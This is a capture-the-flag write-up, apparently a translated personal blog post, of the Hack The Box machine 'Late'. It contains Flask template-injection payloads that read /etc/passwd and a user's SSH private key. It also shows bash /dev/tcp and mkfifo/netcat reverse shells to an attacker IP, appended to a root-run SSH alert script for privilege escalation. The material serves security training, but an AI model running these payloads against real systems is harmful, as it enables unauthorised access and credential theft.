banner
[面包]MrTwoC

[面包]MrTwoC

你好,欢迎来到这个基于区块链的个人博客 名字:面包 / MrTwoc 爱好:跑步(5/10KM)、咖啡、游戏(MMORPG、FPS、Minecraft、Warframe) 兴趣方向:Rust、区块链、网络安全、量子信息(量子计算)、游戏设计与开发
bilibili
steam
email
github

[記模擬浸透]-Htb-Late

nmap -v -sV 10.10.11.156
image.png
2 つのポートが見つかりました
22/tcp ssh
80/tcp http

ウェブページを開く
image.png

アドレスを見つけましたが、開けませんでした、
images.late.htb
image.png

hosts にアドレスを追加します
10.10.11.156 images.late.htb
image.png

開くと、ファイルアップロードのアドレスがありました
image.png

アップロードファイルは PNG 形式のファイルのみアップロードでき、他のファイルは browse で表示されません

image.png
アップロード後、彼のアップロードファイルパスが見つかりました
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/test.png1500'
image.png

これは Flask フレームワークであることがわかりました
image.png

画像をテキストに変換する機能を利用して、実行できるか試してみます
{{3+3}}
{{3*3}}
image.png
アップロード後、テキスト内容が表示されました
image.png

文を画像に変換し、成功しました
{{url_for.__globals__.__builtins__.open("/etc/passwd").read()}}

svc_acc❌1000:1000: サービスアカウント:/home/svc_acc:/bin/bash
image.png

svc_acc ユーザーが利用可能であることがわかり、ディレクトリの.ssh に鍵があるか確認します:
{{url_for.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read()}}
image.png

id_rsa という新しいファイルを作成し、そこにコピーして、拡張子を削除します
この鍵を使用して ssh 接続を行います
image.png

chmod 600 id_rsa
svc_acc

シェルを取得#

ssh svc_acc@10.10.11.156 -i id_rsa
image.png

入ると user.txt が見えました
svc_acc@late:~$ cat user.txt
ab33ccd06cbd67114d219eceae59f08c

image.png

find / -perm -u=s -type f 2>/dev/null
権限と SUID ファイルを確認します:
image.png

linpeas.sh を使用して列挙します

image.pngchmod -x linpeas.sh
./linpeas.sh > out.txt

LinPEAS を使用して、root ユーザーによって実行される興味深いファイルがあり、誰かが SSH に接続するたびに実行されます。/usr/local/sbin

ヒントに従って、このスクリプトを見つけます
image.png
ここにリバースシェルを追加して、再度接続すると、root を取得できます

まずファイルを作成します
svc_acc@late:~$ touch file.txtsvc_acc@late:~$ ls -la<br />-rw-rw-r — 1 svc_acc svc_acc 0 May 26 12:27 file.txt

ファイルを編集し、リバースシェルのペイロードを追加します
svc_acc@late:~$ vim file.txt# ここに追加bash -i >& /dev/tcp/$ip/ポート 0>&1

作成したファイルを ssh アラートファイルに追加し、操作が完了したか確認します
svc_acc@late:~$ cat /home/svc_acc/file.txt >> /usr/local/sbin/ssh-alert.shsvc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh<br />#!/bin/bashRECIPIENT=”[email protected]”<br />SUBJECT=”サーバーログインからのメール: SSHアラート”BODY=”<br />SSHログインが検出されました。ユーザー: $PAM_USER<br /> ユーザーIPホスト: $PAM_RHOST<br /> サービス: $PAM_SERVICE<br /> TTY: $PAM_TTY<br /> 日付: date<br /> サーバー: uname -a<br />“if [ ${PAM_TYPE} = “open_session” ]; then<br /> echo “Subject:${SUBJECT} ${BODY}” | /usr/sbin/sendmail ${RECIPIENT}<br />fi**bash -i >& /dev/tcp/$ip/ポート 0>&1**

ファイルに追加します。ローカルマシンで netcat をリッスンするように設定し、再度 SSH 接続して root が ssh ファイルを実行するようにトリガーします。
┌──(kali ㉿ kali)-[~]
└─$ nc -lvnp 4444
[any] 4444 でリッスン中 ...
[10.10.14.3] から接続 (UNKNOWN) [10.10.11.156] 59010
bash: cannot set terminal process group (29224): 不適切な ioctl デバイスのため
bash: このシェルではジョブ制御がありません

root を取得#


root@late:/# whoami
whoami
root

image.png

root@late:/root# cat root.txt
cat root.txt

image.png

参考記事
https://systemweakness.com/hack-the-box-late-walkthrough-1a496ad6e13e

ノート:#

{{3+3}}
{{3*3}}

{{url_for.globals.builtins.open("/etc/passwd").read()}}

{{url_for.globals.builtins.open("/home/svc_acc/.ssh/id_rsa").read()}}

find / -perm -u=s -type f 2>/dev/null

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc 10.10.14.3 1234 >/tmp/f" >> /usr/local/sbin/ssh-alert.sh

echo "sh -i >& /dev/tcp/10.10.14.3/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh

bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。